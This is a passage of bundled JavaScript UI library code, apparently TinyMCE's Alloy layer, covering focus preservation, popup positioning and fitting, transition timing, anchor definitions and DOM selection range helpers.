    var ActivePosition = /*#__PURE__*/Object.freeze({
        __proto__: null,
        exhibit: exhibit$6
    });

    const focus$3 = element => element.dom.focus();
    const blur$1 = element => element.dom.blur();
    const hasFocus = element => {
      const root = getRootNode(element).dom;
      return element.dom === root.activeElement;
    };
    const active$1 = (root = getDocument()) => Optional.from(root.dom.activeElement).map(SugarElement.fromDom);
    const search = element => active$1(getRootNode(element)).filter(e => element.dom.contains(e.dom));

    const preserve$1 = (f, container) => {
      const dos = getRootNode(container);
      const refocus = active$1(dos).bind(focused => {
        const hasFocus = elem => eq(focused, elem);
        return hasFocus(container) ? Optional.some(container) : descendant$1(container, hasFocus);
      });
      const result = f(container);
      refocus.each(oldFocus => {
        active$1(dos).filter(newFocus => eq(newFocus, oldFocus)).fold(() => {
          focus$3(oldFocus);
        }, noop);
      });
      return result;
    };

    const NuPositionCss = (position, left, top, right, bottom) => {
      const toPx = num => num + 'px';
      return {
        position,
        left: left.map(toPx),
        top: top.map(toPx),
        right: right.map(toPx),
        bottom: bottom.map(toPx)
      };
    };
    const toOptions = position => ({
      ...position,
      position: Optional.some(position.position)
    });
    const applyPositionCss = (element, position) => {
      setOptions(element, toOptions(position));
    };

    const adt$9 = Adt.generate([
      { none: [] },
      {
        relative: [
          'x',
          'y',
          'width',
          'height'
        ]
      },
      {
        fixed: [
          'x',
          'y',
          'width',
          'height'
        ]
      }
    ]);
    const positionWithDirection = (posName, decision, x, y, width, height) => {
      const decisionRect = decision.rect;
      const decisionX = decisionRect.x - x;
      const decisionY = decisionRect.y - y;
      const decisionWidth = decisionRect.width;
      const decisionHeight = decisionRect.height;
      const decisionRight = width - (decisionX + decisionWidth);
      const decisionBottom = height - (decisionY + decisionHeight);
      const left = Optional.some(decisionX);
      const top = Optional.some(decisionY);
      const right = Optional.some(decisionRight);
      const bottom = Optional.some(decisionBottom);
      const none = Optional.none();
      return cata$2(decision.direction, () => NuPositionCss(posName, left, top, none, none), () => NuPositionCss(posName, none, top, right, none), () => NuPositionCss(posName, left, none, none, bottom), () => NuPositionCss(posName, none, none, right, bottom), () => NuPositionCss(posName, left, top, none, none), () => NuPositionCss(posName, left, none, none, bottom), () => NuPositionCss(posName, left, top, none, none), () => NuPositionCss(posName, none, top, right, none));
    };
    const reposition = (origin, decision) => origin.fold(() => {
      const decisionRect = decision.rect;
      return NuPositionCss('absolute', Optional.some(decisionRect.x), Optional.some(decisionRect.y), Optional.none(), Optional.none());
    }, (x, y, width, height) => {
      return positionWithDirection('absolute', decision, x, y, width, height);
    }, (x, y, width, height) => {
      return positionWithDirection('fixed', decision, x, y, width, height);
    });
    const toBox = (origin, element) => {
      const rel = curry(find$2, element);
      const position = origin.fold(rel, rel, () => {
        const scroll = get$b();
        return find$2(element).translate(-scroll.left, -scroll.top);
      });
      const width = getOuter$1(element);
      const height = getOuter$2(element);
      return bounds(position.left, position.top, width, height);
    };
    const viewport = (origin, getBounds) => getBounds.fold(() => origin.fold(win, win, bounds), b => origin.fold(b, b, () => {
      const bounds$1 = b();
      const pos = translate$2(origin, bounds$1.x, bounds$1.y);
      return bounds(pos.left, pos.top, bounds$1.width, bounds$1.height);
    }));
    const translate$2 = (origin, x, y) => {
      const pos = SugarPosition(x, y);
      const removeScroll = () => {
        const outerScroll = get$b();
        return pos.translate(-outerScroll.left, -outerScroll.top);
      };
      return origin.fold(constant$1(pos), constant$1(pos), removeScroll);
    };
    const cata$1 = (subject, onNone, onRelative, onFixed) => subject.fold(onNone, onRelative, onFixed);
    adt$9.none;
    const relative$1 = adt$9.relative;
    const fixed$1 = adt$9.fixed;

    const anchor = (anchorBox, origin) => ({
      anchorBox,
      origin
    });
    const box = (anchorBox, origin) => anchor(anchorBox, origin);

    const placementAttribute = 'data-alloy-placement';
    const setPlacement$1 = (element, placement) => {
      set$9(element, placementAttribute, placement);
    };
    const getPlacement = element => getOpt(element, placementAttribute);
    const reset$2 = element => remove$7(element, placementAttribute);

    const adt$8 = Adt.generate([
      { fit: ['reposition'] },
      {
        nofit: [
          'reposition',
          'visibleW',
          'visibleH',
          'isVisible'
        ]
      }
    ]);
    const determinePosition = (box, bounds) => {
      const {
        x: boundsX,
        y: boundsY,
        right: boundsRight,
        bottom: boundsBottom
      } = bounds;
      const {x, y, right, bottom, width, height} = box;
      const xInBounds = x >= boundsX && x <= boundsRight;
      const yInBounds = y >= boundsY && y <= boundsBottom;
      const originInBounds = xInBounds && yInBounds;
      const rightInBounds = right <= boundsRight && right >= boundsX;
      const bottomInBounds = bottom <= boundsBottom && bottom >= boundsY;
      const sizeInBounds = rightInBounds && bottomInBounds;
      const visibleW = Math.min(width, x >= boundsX ? boundsRight - x : right - boundsX);
      const visibleH = Math.min(height, y >= boundsY ? boundsBottom - y : bottom - boundsY);
      return {
        originInBounds,
        sizeInBounds,
        visibleW,
        visibleH
      };
    };
    const calcReposition = (box, bounds$1) => {
      const {
        x: boundsX,
        y: boundsY,
        right: boundsRight,
        bottom: boundsBottom
      } = bounds$1;
      const {x, y, width, height} = box;
      const maxX = Math.max(boundsX, boundsRight - width);
      const maxY = Math.max(boundsY, boundsBottom - height);
      const restrictedX = clamp(x, boundsX, maxX);
      const restrictedY = clamp(y, boundsY, maxY);
      const restrictedWidth = Math.min(restrictedX + width, boundsRight) - restrictedX;
      const restrictedHeight = Math.min(restrictedY + height, boundsBottom) - restrictedY;
      return bounds(restrictedX, restrictedY, restrictedWidth, restrictedHeight);
    };
    const calcMaxSizes = (direction, box, bounds) => {
      const upAvailable = constant$1(box.bottom - bounds.y);
      const downAvailable = constant$1(bounds.bottom - box.y);
      const maxHeight = cataVertical(direction, downAvailable, downAvailable, upAvailable);
      const westAvailable = constant$1(box.right - bounds.x);
      const eastAvailable = constant$1(bounds.right - box.x);
      const maxWidth = cataHorizontal(direction, eastAvailable, eastAvailable, westAvailable);
      return {
        maxWidth,
        maxHeight
      };
    };
    const attempt = (candidate, width, height, bounds$1) => {
      const bubble = candidate.bubble;
      const bubbleOffset = bubble.offset;
      const adjustedBounds = adjustBounds(bounds$1, candidate.restriction, bubbleOffset);
      const newX = candidate.x + bubbleOffset.left;
      const newY = candidate.y + bubbleOffset.top;
      const box = bounds(newX, newY, width, height);
      const {originInBounds, sizeInBounds, visibleW, visibleH} = determinePosition(box, adjustedBounds);
      const fits = originInBounds && sizeInBounds;
      const fittedBox = fits ? box : calcReposition(box, adjustedBounds);
      const isPartlyVisible = fittedBox.width > 0 && fittedBox.height > 0;
      const {maxWidth, maxHeight} = calcMaxSizes(candidate.direction, fittedBox, bounds$1);
      const reposition = {
        rect: fittedBox,
        maxHeight,
        maxWidth,
        direction: candidate.direction,
        placement: candidate.placement,
        classes: {
          on: bubble.classesOn,
          off: bubble.classesOff
        },
        layout: candidate.label,
        testY: newY
      };
      return fits || candidate.alwaysFit ? adt$8.fit(reposition) : adt$8.nofit(reposition, visibleW, visibleH, isPartlyVisible);
    };
    const attempts = (element, candidates, anchorBox, elementBox, bubbles, bounds) => {
      const panelWidth = elementBox.width;
      const panelHeight = elementBox.height;
      const attemptBestFit = (layout, reposition, visibleW, visibleH, isVisible) => {
        const next = layout(anchorBox, elementBox, bubbles, element, bounds);
        const attemptLayout = attempt(next, panelWidth, panelHeight, bounds);
        return attemptLayout.fold(constant$1(attemptLayout), (newReposition, newVisibleW, newVisibleH, newIsVisible) => {
          const improved = isVisible === newIsVisible ? newVisibleH > visibleH || newVisibleW > visibleW : !isVisible && newIsVisible;
          return improved ? attemptLayout : adt$8.nofit(reposition, visibleW, visibleH, isVisible);
        });
      };
      const abc = foldl(candidates, (b, a) => {
        const bestNext = curry(attemptBestFit, a);
        return b.fold(constant$1(b), bestNext);
      }, adt$8.nofit({
        rect: anchorBox,
        maxHeight: elementBox.height,
        maxWidth: elementBox.width,
        direction: southeast$3(),
        placement: 'southeast',
        classes: {
          on: [],
          off: []
        },
        layout: 'none',
        testY: anchorBox.y
      }, -1, -1, false));
      return abc.fold(identity, identity);
    };

    const singleton = doRevoke => {
      const subject = Cell(Optional.none());
      const revoke = () => subject.get().each(doRevoke);
      const clear = () => {
        revoke();
        subject.set(Optional.none());
      };
      const isSet = () => subject.get().isSome();
      const get = () => subject.get();
      const set = s => {
        revoke();
        subject.set(Optional.some(s));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const destroyable = () => singleton(s => s.destroy());
    const unbindable = () => singleton(s => s.unbind());
    const value$2 = () => {
      const subject = singleton(noop);
      const on = f => subject.get().each(f);
      return {
        ...subject,
        on
      };
    };

    const filter = always;
    const bind = (element, event, handler) => bind$2(element, event, filter, handler);
    const capture = (element, event, handler) => capture$1(element, event, filter, handler);
    const fromRawEvent = fromRawEvent$1;

    const properties = [
      'top',
      'bottom',
      'right',
      'left'
    ];
    const timerAttr = 'data-alloy-transition-timer';
    const isTransitioning$1 = (element, transition) => hasAll(element, transition.classes);
    const shouldApplyTransitionCss = (transition, decision, lastPlacement) => {
      return lastPlacement.exists(placer => {
        const mode = transition.mode;
        return mode === 'all' ? true : placer[mode] !== decision[mode];
      });
    };
    const hasChanges = (position, intermediate) => {
      const round = value => parseFloat(value).toFixed(3);
      return find$4(intermediate, (value, key) => {
        const newValue = position[key].map(round);
        const val = value.map(round);
        return !equals(newValue, val);
      }).isSome();
    };
    const getTransitionDuration = element => {
      const get = name => {
        const style = get$e(element, name);
        const times = style.split(/\s*,\s*/);
        return filter$2(times, isNotEmpty);
      };
      const parse = value => {
        if (isString(value) && /^[\d.]+/.test(value)) {
          const num = parseFloat(value);
          return endsWith(value, 'ms') ? num : num * 1000;
        } else {
          return 0;
        }
      };
      const delay = get('transition-delay');
      const duration = get('transition-duration');
      return foldl(duration, (acc, dur, i) => {
        const time = parse(delay[i]) + parse(dur);
        return Math.max(acc, time);
      }, 0);
    };
    const setupTransitionListeners = (element, transition) => {
      const transitionEnd = unbindable();
      const transitionCancel = unbindable();
      let timer;
      const isSourceTransition = e => {
        var _a;
        const pseudoElement = (_a = e.raw.pseudoElement) !== null && _a !== void 0 ? _a : '';
        return eq(e.target, element) && isEmpty(pseudoElement) && contains$2(properties, e.raw.propertyName);
      };
      const transitionDone = e => {
        if (isNullable(e) || isSourceTransition(e)) {
          transitionEnd.clear();
          transitionCancel.clear();
          const type = e === null || e === void 0 ? void 0 : e.raw.type;
          if (isNullable(type) || type === transitionend()) {
            clearTimeout(timer);
            remove$7(element, timerAttr);
            remove$1(element, transition.classes);
          }
        }
      };
      const transitionStart = bind(element, transitionstart(), e => {
        if (isSourceTransition(e)) {
          transitionStart.unbind();
          transitionEnd.set(bind(element, transitionend(), transitionDone));
          transitionCancel.set(bind(element, transitioncancel(), transitionDone));
        }
      });
      const duration = getTransitionDuration(element);
      requestAnimationFrame(() => {
        timer = setTimeout(transitionDone, duration + 17);
        set$9(element, timerAttr, timer);
      });
    };
    const startTransitioning = (element, transition) => {
      add$1(element, transition.classes);
      getOpt(element, timerAttr).each(timerId => {
        clearTimeout(parseInt(timerId, 10));
        remove$7(element, timerAttr);
      });
      setupTransitionListeners(element, transition);
    };
    const applyTransitionCss = (element, origin, position, transition, decision, lastPlacement) => {
      const shouldTransition = shouldApplyTransitionCss(transition, decision, lastPlacement);
      if (shouldTransition || isTransitioning$1(element, transition)) {
        set$8(element, 'position', position.position);
        const rect = toBox(origin, element);
        const intermediatePosition = reposition(origin, {
          ...decision,
          rect
        });
        const intermediateCssOptions = mapToObject(properties, prop => intermediatePosition[prop]);
        if (hasChanges(position, intermediateCssOptions)) {
          setOptions(element, intermediateCssOptions);
          if (shouldTransition) {
            startTransitioning(element, transition);
          }
          reflow(element);
        }
      } else {
        remove$1(element, transition.classes);
      }
    };

    const elementSize = p => ({
      width: getOuter$1(p),
      height: getOuter$2(p)
    });
    const layout = (anchorBox, element, bubbles, options) => {
      remove$6(element, 'max-height');
      remove$6(element, 'max-width');
      const elementBox = elementSize(element);
      return attempts(element, options.preference, anchorBox, elementBox, bubbles, options.bounds);
    };
    const setClasses = (element, decision) => {
      const classInfo = decision.classes;
      remove$1(element, classInfo.off);
      add$1(element, classInfo.on);
    };
    const setHeight = (element, decision, options) => {
      const maxHeightFunction = options.maxHeightFunction;
      maxHeightFunction(element, decision.maxHeight);
    };
    const setWidth = (element, decision, options) => {
      const maxWidthFunction = options.maxWidthFunction;
      maxWidthFunction(element, decision.maxWidth);
    };
    const position$2 = (element, decision, options) => {
      const positionCss = reposition(options.origin, decision);
      options.transition.each(transition => {
        applyTransitionCss(element, options.origin, positionCss, transition, decision, options.lastPlacement);
      });
      applyPositionCss(element, positionCss);
    };
    const setPlacement = (element, decision) => {
      setPlacement$1(element, decision.placement);
    };

    const setMaxHeight = (element, maxHeight) => {
      setMax$1(element, Math.floor(maxHeight));
    };
    const anchored = constant$1((element, available) => {
      setMaxHeight(element, available);
      setAll(element, {
        'overflow-x': 'hidden',
        'overflow-y': 'auto'
      });
    });
    const expandable$1 = constant$1((element, available) => {
      setMaxHeight(element, available);
    });

    const defaultOr = (options, key, dephault) => options[key] === undefined ? dephault : options[key];
    const simple = (anchor, element, bubble, layouts, lastPlacement, getBounds, overrideOptions, transition) => {
      const maxHeightFunction = defaultOr(overrideOptions, 'maxHeightFunction', anchored());
      const maxWidthFunction = defaultOr(overrideOptions, 'maxWidthFunction', noop);
      const anchorBox = anchor.anchorBox;
      const origin = anchor.origin;
      const options = {
        bounds: viewport(origin, getBounds),
        origin,
        preference: layouts,
        maxHeightFunction,
        maxWidthFunction,
        lastPlacement,
        transition
      };
      return go(anchorBox, element, bubble, options);
    };
    const go = (anchorBox, element, bubble, options) => {
      const decision = layout(anchorBox, element, bubble, options);
      position$2(element, decision, options);
      setPlacement(element, decision);
      setClasses(element, decision);
      setHeight(element, decision, options);
      setWidth(element, decision, options);
      return {
        layout: decision.layout,
        placement: decision.placement
      };
    };

    const allAlignments = [
      'valignCentre',
      'alignLeft',
      'alignRight',
      'alignCentre',
      'top',
      'bottom',
      'left',
      'right',
      'inset'
    ];
    const nu$5 = (xOffset, yOffset, classes, insetModifier = 1) => {
      const insetXOffset = xOffset * insetModifier;
      const insetYOffset = yOffset * insetModifier;
      const getClasses = prop => get$g(classes, prop).getOr([]);
      const make = (xDelta, yDelta, alignmentsOn) => {
        const alignmentsOff = difference(allAlignments, alignmentsOn);
        return {
          offset: SugarPosition(xDelta, yDelta),
          classesOn: bind$3(alignmentsOn, getClasses),
          classesOff: bind$3(alignmentsOff, getClasses)
        };
      };
      return {
        southeast: () => make(-xOffset, yOffset, [
          'top',
          'alignLeft'
        ]),
        southwest: () => make(xOffset, yOffset, [
          'top',
          'alignRight'
        ]),
        south: () => make(-xOffset / 2, yOffset, [
          'top',
          'alignCentre'
        ]),
        northeast: () => make(-xOffset, -yOffset, [
          'bottom',
          'alignLeft'
        ]),
        northwest: () => make(xOffset, -yOffset, [
          'bottom',
          'alignRight'
        ]),
        north: () => make(-xOffset / 2, -yOffset, [
          'bottom',
          'alignCentre'
        ]),
        east: () => make(xOffset, -yOffset / 2, [
          'valignCentre',
          'left'
        ]),
        west: () => make(-xOffset, -yOffset / 2, [
          'valignCentre',
          'right'
        ]),
        insetNortheast: () => make(insetXOffset, insetYOffset, [
          'top',
          'alignLeft',
          'inset'
        ]),
        insetNorthwest: () => make(-insetXOffset, insetYOffset, [
          'top',
          'alignRight',
          'inset'
        ]),
        insetNorth: () => make(-insetXOffset / 2, insetYOffset, [
          'top',
          'alignCentre',
          'inset'
        ]),
        insetSoutheast: () => make(insetXOffset, -insetYOffset, [
          'bottom',
          'alignLeft',
          'inset'
        ]),
        insetSouthwest: () => make(-insetXOffset, -insetYOffset, [
          'bottom',
          'alignRight',
          'inset'
        ]),
        insetSouth: () => make(-insetXOffset / 2, -insetYOffset, [
          'bottom',
          'alignCentre',
          'inset'
        ]),
        insetEast: () => make(-insetXOffset, -insetYOffset / 2, [
          'valignCentre',
          'right',
          'inset'
        ]),
        insetWest: () => make(insetXOffset, -insetYOffset / 2, [
          'valignCentre',
          'left',
          'inset'
        ])
      };
    };
    const fallback = () => nu$5(0, 0, {});

    const nu$4 = identity;

    const onDirection = (isLtr, isRtl) => element => getDirection(element) === 'rtl' ? isRtl : isLtr;
    const getDirection = element => get$e(element, 'direction') === 'rtl' ? 'rtl' : 'ltr';

    var AttributeValue;
    (function (AttributeValue) {
      AttributeValue['TopToBottom'] = 'toptobottom';
      AttributeValue['BottomToTop'] = 'bottomtotop';
    }(AttributeValue || (AttributeValue = {})));
    const Attribute = 'data-alloy-vertical-dir';
    const isBottomToTopDir = el => closest$2(el, current => isElement$1(current) && get$f(current, 'data-alloy-vertical-dir') === AttributeValue.BottomToTop);

    const schema$y = () => optionObjOf('layouts', [
      required$1('onLtr'),
      required$1('onRtl'),
      option$3('onBottomLtr'),
      option$3('onBottomRtl')
    ]);
    const get$5 = (elem, info, defaultLtr, defaultRtl, defaultBottomLtr, defaultBottomRtl, dirElement) => {
      const isBottomToTop = dirElement.map(isBottomToTopDir).getOr(false);
      const customLtr = info.layouts.map(ls => ls.onLtr(elem));
      const customRtl = info.layouts.map(ls => ls.onRtl(elem));
      const ltr = isBottomToTop ? info.layouts.bind(ls => ls.onBottomLtr.map(f => f(elem))).or(customLtr).getOr(defaultBottomLtr) : customLtr.getOr(defaultLtr);
      const rtl = isBottomToTop ? info.layouts.bind(ls => ls.onBottomRtl.map(f => f(elem))).or(customRtl).getOr(defaultBottomRtl) : customRtl.getOr(defaultRtl);
      const f = onDirection(ltr, rtl);
      return f(elem);
    };

    const placement$4 = (component, anchorInfo, origin) => {
      const hotspot = anchorInfo.hotspot;
      const anchorBox = toBox(origin, hotspot.element);
      const layouts = get$5(component.element, anchorInfo, belowOrAbove(), belowOrAboveRtl(), aboveOrBelow(), aboveOrBelowRtl(), Optional.some(anchorInfo.hotspot.element));
      return Optional.some(nu$4({
        anchorBox,
        bubble: anchorInfo.bubble.getOr(fallback()),
        overrides: anchorInfo.overrides,
        layouts,
        placer: Optional.none()
      }));
    };
    var HotspotAnchor = [
      required$1('hotspot'),
      option$3('bubble'),
      defaulted('overrides', {}),
      schema$y(),
      output$1('placement', placement$4)
    ];

    const placement$3 = (component, anchorInfo, origin) => {
      const pos = translate$2(origin, anchorInfo.x, anchorInfo.y);
      const anchorBox = bounds(pos.left, pos.top, anchorInfo.width, anchorInfo.height);
      const layouts = get$5(component.element, anchorInfo, all$1(), allRtl$1(), all$1(), allRtl$1(), Optional.none());
      return Optional.some(nu$4({
        anchorBox,
        bubble: anchorInfo.bubble,
        overrides: anchorInfo.overrides,
        layouts,
        placer: Optional.none()
      }));
    };
    var MakeshiftAnchor = [
      required$1('x'),
      required$1('y'),
      defaulted('height', 0),
      defaulted('width', 0),
      defaulted('bubble', fallback()),
      defaulted('overrides', {}),
      schema$y(),
      output$1('placement', placement$3)
    ];

    const adt$7 = Adt.generate([
      { screen: ['point'] },
      {
        absolute: [
          'point',
          'scrollLeft',
          'scrollTop'
        ]
      }
    ]);
    const toFixed = pos => pos.fold(identity, (point, scrollLeft, scrollTop) => point.translate(-scrollLeft, -scrollTop));
    const toAbsolute = pos => pos.fold(identity, identity);
    const sum = points => foldl(points, (b, a) => b.translate(a.left, a.top), SugarPosition(0, 0));
    const sumAsFixed = positions => {
      const points = map$2(positions, toFixed);
      return sum(points);
    };
    const sumAsAbsolute = positions => {
      const points = map$2(positions, toAbsolute);
      return sum(points);
    };
    const screen = adt$7.screen;
    const absolute$1 = adt$7.absolute;

    const getOffset = (component, origin, anchorInfo) => {
      const win = defaultView(anchorInfo.root).dom;
      const hasSameOwner = frame => {
        const frameOwner = owner$4(frame);
        const compOwner = owner$4(component.element);
        return eq(frameOwner, compOwner);
      };
      return Optional.from(win.frameElement).map(SugarElement.fromDom).filter(hasSameOwner).map(absolute$3);
    };
    const getRootPoint = (component, origin, anchorInfo) => {
      const doc = owner$4(component.element);
      const outerScroll = get$b(doc);
      const offset = getOffset(component, origin, anchorInfo).getOr(outerScroll);
      return absolute$1(offset, outerScroll.left, outerScroll.top);
    };

    const getBox = (left, top, width, height) => {
      const point = screen(SugarPosition(left, top));
      return Optional.some(pointed(point, width, height));
    };
    const calcNewAnchor = (optBox, rootPoint, anchorInfo, origin, elem) => optBox.map(box => {
      const points = [
        rootPoint,
        box.point
      ];
      const topLeft = cata$1(origin, () => sumAsAbsolute(points), () => sumAsAbsolute(points), () => sumAsFixed(points));
      const anchorBox = rect(topLeft.left, topLeft.top, box.width, box.height);
      const layoutsLtr = anchorInfo.showAbove ? aboveOrBelow() : belowOrAbove();
      const layoutsRtl = anchorInfo.showAbove ? aboveOrBelowRtl() : belowOrAboveRtl();
      const layouts = get$5(elem, anchorInfo, layoutsLtr, layoutsRtl, layoutsLtr, layoutsRtl, Optional.none());
      return nu$4({
        anchorBox,
        bubble: anchorInfo.bubble.getOr(fallback()),
        overrides: anchorInfo.overrides,
        layouts,
        placer: Optional.none()
      });
    });

    const placement$2 = (component, anchorInfo, origin) => {
      const rootPoint = getRootPoint(component, origin, anchorInfo);
      return anchorInfo.node.filter(inBody).bind(target => {
        const rect = target.dom.getBoundingClientRect();
        const nodeBox = getBox(rect.left, rect.top, rect.width, rect.height);
        const elem = anchorInfo.node.getOr(component.element);
        return calcNewAnchor(nodeBox, rootPoint, anchorInfo, origin, elem);
      });
    };
    var NodeAnchor = [
      required$1('node'),
      required$1('root'),
      option$3('bubble'),
      schema$y(),
      defaulted('overrides', {}),
      defaulted('showAbove', false),
      output$1('placement', placement$2)
    ];

    const zeroWidth = '\uFEFF';
    const nbsp = '\xA0';

    const create$3 = (start, soffset, finish, foffset) => ({
      start,
      soffset,
      finish,
      foffset
    });
    const SimRange = { create: create$3 };

    const adt$6 = Adt.generate([
      { before: ['element'] },
      {
        on: [
          'element',
          'offset'
        ]
      },
      { after: ['element'] }
    ]);
    const cata = (subject, onBefore, onOn, onAfter) => subject.fold(onBefore, onOn, onAfter);
    const getStart$1 = situ => situ.fold(identity, identity, identity);
    const before = adt$6.before;
    const on$1 = adt$6.on;
    const after$1 = adt$6.after;
    const Situ = {
      before,
      on: on$1,
      after: after$1,
      cata,
      getStart: getStart$1
    };

    const adt$5 = Adt.generate([
      { domRange: ['rng'] },
      {
        relative: [
          'startSitu',
          'finishSitu'
        ]
      },
      {
        exact: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      }
    ]);
    const exactFromRange = simRange => adt$5.exact(simRange.start, simRange.soffset, simRange.finish, simRange.foffset);
    const getStart = selection => selection.match({
      domRange: rng => SugarElement.fromDom(rng.startContainer),
      relative: (startSitu, _finishSitu) => Situ.getStart(startSitu),
      exact: (start, _soffset, _finish, _foffset) => start
    });
    const domRange = adt$5.domRange;
    const relative = adt$5.relative;
    const exact = adt$5.exact;
    const getWin = selection => {
      const start = getStart(selection);
      return defaultView(start);
    };
    const range$1 = SimRange.create;
    const SimSelection = {
      domRange,
      relative,
      exact,
      exactFromRange,
      getWin,
      range: range$1
    };

    const setStart = (rng, situ) => {
      situ.fold(e => {
        rng.setStartBefore(e.dom);
      }, (e, o) => {
        rng.setStart(e.dom, o);
      }, e => {
        rng.setStartAfter(e.dom);
      });
    };
    const setFinish = (rng, situ) => {
      situ.fold(e => {
        rng.setEndBefore(e.dom);
      }, (e, o) => {
        rng.setEnd(e.dom, o);
      }, e => {
        rng.setEndAfter(e.dom);
      });
    };
    const relativeToNative = (win, startSitu, finishSitu) => {
      const range = win.document.createRange();
      setStart(range, startSitu);
      setFinish(range, finishSitu);
      return range;
    };
    const exactToNative = (win, start, soffset, finish, foffset) => {
      const rng = win.document.createRange();
      rng.setStart(start.dom, soffset);
      rng.setEnd(finish.dom, foffset);
      return rng;
    };
    const toRect = rect => ({
      left: rect.left,
      top: rect.top,
      right: rect.right,
      bottom: rect.bottom,
      width: rect.width,
      height: rect.height
    });
    const getFirstRect$1 = rng => {
      const rects = rng.getClientRects();
      const rect = rects.length > 0 ? rects[0] : rng.getBoundingClientRect();
      return rect.width > 0 || rect.height > 0 ? Optional.some(rect).map(toRect) : Optional.none();
    };
    const getBounds$2 = rng => {
      const rect = rng.getBoundingClientRect();
      return rect.width > 0 || rect.height > 0 ? Optional.some(rect).map(toRect) : Optional.none();
    };

    const adt$4 = Adt.generate([
      {
        ltr: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      },
      {
        rtl: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      }
    ]);
    const fromRange = (win, type, range) => type(SugarElement.fromDom(range.startContainer), range.startOffset, SugarElement.fromDom(range.endContainer), range.endOffset);
    const getRanges = (win, selection) => selection.match({
      domRange: rng => {
        return {
          ltr: constant$1(rng),
          rtl: Optional.none
        };
      },
      relative: (startSitu, finishSitu) => {
        return {
          ltr: cached(() => relativeToNative(win, startSitu, finishSitu)),
          rtl: cached(() => Optional.some(relativeToNative(win, finishSitu, startSitu)))
        };
      },
      exact: (start, soffset, finish, foffset) => {
        return {
          ltr: cached(() => exactToNative(win, start, soffset, finish, foffset)),
          rtl: cached(() => Optional.some(exactToNative(win, finish, foffset, start, soffset)))
        };
      }
    });
    const doDiagnose = (win, ranges) => {
      const rng = ranges.ltr();
      if (rng.collapsed) {
        const reversed = ranges.rtl().filter(rev => rev.collapsed === false);
        return reversed.map(rev => adt$4.rtl(SugarElement.fromDom(rev.endContainer), rev.endOffset, SugarElement.fromDom(rev.startContainer), rev.startOffset)).getOrThunk(() => fromRange(win, adt$4.ltr, rng));
      } else {
        return fromRange(win, adt$4.ltr, rng);
      }
    };
    const diagnose = (win, selection) => {
      const ranges = getRanges(win, selection);
      return doDiagnose(win, ranges);
    };
    const asLtrRange = (win, selection) => {
      const diagnosis = diagnose(win, selection);
      return diagnosis.match({
        ltr: (start, soffset, finish, foffset) => {
          const rng = win.document.createRange();
          rng.setStart(start.dom, soffset);
          rng.setEnd(finish.dom, foffset);
          return rng;
        },
        rtl: (start, soffset, finish, foffset) => {
          const rng = win.document.createRange();
          rng.setStart(finish.dom, foffset);
          rng.setEnd(start.dom, soffset);
          return rng;
        }
      });
    };
    adt$4.ltr;
    adt$4.rtl;

    const descendants = (scope, selector) => all$3(selector, scope);

    const makeRange = (start, soffset, finish, foffset) => {
      const doc = owner$4(start);
      const rng = doc.dom.createRange();
      rng.setStart(start.dom, soffset);
      rng.setEnd(finish.dom, foffset);
      return rng;
    };
    const after = (start, soffset, finish, foffset) => {
      const r = makeRange(start, soffset, finish, foffset);
      const same = eq(start, finish) && soffset === foffset;
      return r.collapsed && !same;
    };

    const getNativeSelection = win => Optional.from(win.getSelection());
    const readRange = selection => {
      if (selection.rangeCount > 0) {
        const firstRng = selection.getRangeAt(0);
        const lastRng = selection.getRangeAt(selection.rangeCount - 1);
        return Optional.some(SimRange.create(SugarElement.fromDom(firstRng.startContainer), firstRng.startOffset, SugarElement.fromDom(lastRng.endContainer), lastRng.endOffset));
      } else {
        return Optional.none();
      }
    };
    const doGetExact = selection => {
      if (selection.anchorNode === null || selection.focusNode === null) {
        return readRange(selection);
      } else {
        const anchor = SugarElement.fromDom(selection.anchorNode);
        const focus = SugarElement.fromDom(selection.focusNode);
        return after(anchor, selection.anchorOffset, focus, selection.focusOffset) ? Optional.some(SimRange.create(anchor, selection.anchorOffset, focus, selection.focusOffset)) : readRange(selection);
      }
    };
    const getExact = win => getNativeSelection(win).filter(sel => sel.rangeCount > 0).bind(doGetExact);
    const getFirstRect = (win, selection) => {
      const rng = asLtrRange(win, selection);
      return getFirstRect$1(rng);
    };
    const getBounds$1 = (win, selection) => {
      const rng = asLtrRange(win, selection);
      return getBounds$2(rng);
    };

    const NodeValue = (is, name) => {
      const get = element => {
        if (!is(element)) {
          throw new Error('Can only get ' + name + ' value of a ' + name + ' node');
        }
        return getOption(element).getOr('');
      };
      const getOption = element => is(element) ? Optional.from(element.dom.nodeValue) : Optional.none();
      const set = (element, value) => {
        if (!is(element)) {
          throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node');
        }
        element.dom.nodeValue = value;
      };
      return {
        get,
        getOption,
        set
      };
    };

    const api = NodeValue(isText, 'text');
    const get$4 = element => api.get(element);

    const point = (element, offset) => ({
      element,
      offset
    });
    const descendOnce$1 = (element, offset) => {
      const children$1 = children(element);
      if (children$1.length === 0) {
        return point(element, offset);
      } else if (offset < children$1.length) {
        return point(children$1[offset], 0);
      } else {
        const last = children$1[children$1.length - 1];
        const len = isText(last) ? get$4(last).length : children(last).length;
        return point(last, len);
      }
    };

    const descendOnce = (element, offset) => isText(element) ? point(element, offset) : descendOnce$1(element, offset);
    const getAnchorSelection = (win, anchorInfo) => {
      const getSelection = anchorInfo.getSelection.getOrThunk(() => () => getExact(win));
      return getSelection().map(sel => {
        const modStart = descendOnce(sel.start, sel.soffset);
        const modFinish = descendOnce(sel.finish, sel.foffset);
        return SimSelection.range(modStart.element, modStart.offset, modFinish.element, modFinish.offset);
      });
    };
    const placement$1 = (component, anchorInfo, origin) => {
      const win = defaultView(anchorInfo.root).dom;
      const rootPoint = getRootPoint(component, origin, anchorInfo);
      const selectionBox = getAnchorSelection(win, anchorInfo).bind(sel => {
        const optRect = getBounds$1(win, SimSelection.exactFromRange(sel)).orThunk(() => {
          const x = SugarElement.fromText(zeroWidth);
          before$1(sel.start, x);
          const rect = getFirstRect(win, SimSelection.exact(x, 0, x, 1));
          remove$5(x);
          return rect;
        });
        return optRect.bind(rawRect => getBox(rawRect.left, rawRect.top, rawRect.width, rawRect.height));
      });
      const targetElement = getAnchorSelection(win, anchorInfo).bind(sel => isElement$1(sel.start) ? Optional.some(sel.start) : parentElement(sel.start));
      const elem = targetElement.getOr(component.element);
      return calcNewAnchor(selectionBox, rootPoint, anchorInfo, origin, elem);
    };
    var SelectionAnchor = [
